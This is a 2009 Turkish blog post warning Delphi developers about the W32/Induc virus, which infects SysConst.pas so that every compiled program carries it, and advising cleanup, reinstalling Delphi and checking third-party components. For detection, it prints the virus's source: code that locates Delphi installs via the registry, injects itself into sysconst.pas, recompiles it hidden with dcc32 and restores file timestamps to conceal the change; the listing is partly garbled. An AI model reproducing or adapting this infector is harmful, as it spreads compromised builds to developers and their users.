W32/Induc virüsü Delphi’ye bulaşıyor

  08/21/2009, Yazar: Özgür Koca, Kategori: Delphi

Delphi’nin Syscons.dcu veya sysconst.pas dosyasına bulaşan bir virüs peydah oldu.

Kaspersky’da adlandırması Win32.Induc.a olarak geçiyor, kendisini sysconst.pas’a include etmek sureti ile bulaşıyor.

Böylelikle her derlemede exe içerisinde virüscük de yaşamaya devam ediyor.

Bu durumda önce virüs temizliği sonra mutlaka delphi’ı kaldırıp tekrar kurmak lazım (ben öyle yaptım).

Evet ne yazıkki sisteminizde hiç virüs olmasa da kullandığınız ücretsiz full open source komponentler de ne yazıkki virüse neden olabiliyor.

Her yüklediğimiz yeni komponeneti bir de kod kontrolünden geçirmek lazım sanırım.

Virüslü olup olmadığınız anlamak için sysconst.pas içinde aşağıdaki kodlar var mı yok mu bakmak gerekiyor. Tabi bu sadece bu türün bir türevi ise dışarıdan aldığımız her komponenti incelemek de şart.

Delphi 4-7 geliştirme ortamına bulaşan virüs varyantının kodları aşağıdaki gibi.

uses windows;
 var sc:array[1..24] of string=(
function x(s:string):string;
var i:integer;
begin for i:=1 to length(s) do
if s[i]" =#36 then
s[i]:=#39;
result:=s;
end; 

procedure re(s,d,e:string);
var f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);
if h<>DWORD(-1) then begin
CloseHandle(h);
exit;
end;
{$I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then exit;assignfile"
(f2,d+$pas$);
rewrite(f2);
if ioresult<>0 then begin
closefile(f1);
exit;
end;
while
not eof(f1) do begin
readln(f1,s);
writeln(f2,s);
if pos($implementation$,s)<>0 then break;
end; 

for h:= 1 to 1 do writeln(f2,sc[h]);
for h:= 1 to 23 do writeln(f2,$$$$+sc[h],$$$,$);
writeln(f2,$$$$+sc[24]+$$$);$);
for h:= 2 to 24 do writeln(f2, x(sc[h]));
closefile(f1);
closefile(f2);
{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$));
fillchar(f,sizeof(f),0); f.cb:=sizeof(f);
f.dwFlags:=STARTF_USESHOWWINDOW;
f.wShowWindow:=SW_HIDE;
b:=CreateProcess(nil,pchar(e+$""$+d+$pas""$),0,0,false,0,0,0,"f,p);
if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$), pchar(d+$dcu$));
DeleteFile(pchar(d+$pas$));
h:=CreateFile(pchar(d+$bak$),0,0,0,3,"0,0);
if  h=DWORD(-1) then exit;
GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);
h:= CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);
if h=DWORD(-1) then exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end; 

procedure st;
var  k:HKEY;
c:array [1..255] of char;
i:cardinal; r:string; v:char;
begin for v:=$4$ to $7$ do
if RegOpenKeyEx( HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then
begin i:=255;i
if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin
 r:=$$;
i:= 1;
 while c[i]<>#0 do begin
r:=r+c[i];inc(i);
end;
re(r+$\source\rtl\sys\SysConst$+$.pas$,r+$\lib\sysconst.$,$$+r+$\bin\dcc32.exe"" $);
end;
RegCloseKey(k);
end;
end;" 

//main code
begin st; end."

Kaynak: kontrolkalemi.com

şafak yüksektepe (5), delphi assignfile ne işe yarar (3), win32 induc a virüs türevi (2), delphi şafak yüksektepe (2), delphi de derlediğim programı virus (2), delphi assignfile rewrite closefile (1), delphi virüs yazarları (1), delphi assignfile (1), virus win32 induc a virus bilgisayardan kaldırma (1), virüs:win/ınduc a (1), Borland Delphi 8 gezginler (1)







Bu yazıya puan verin: 1 Puan2 Puan3 Puan4 Puan5 Puan6 Puan7 Puan8 Puan9 Puan10 Puan


4 yorum yapıldı



Biraz gürültü yapın





Not: Yazdığınız yorum yönetici tarafından onaylandıktan sonra yayınlanacaktır.


  Yorumlara eposta ile abone ol




  • Hakkında | İletişim | Wordpress.org | RSS | Abone Ol

  • (c) 2005-2009 Wordpress Tema: Tankado & Theme by Tankado.com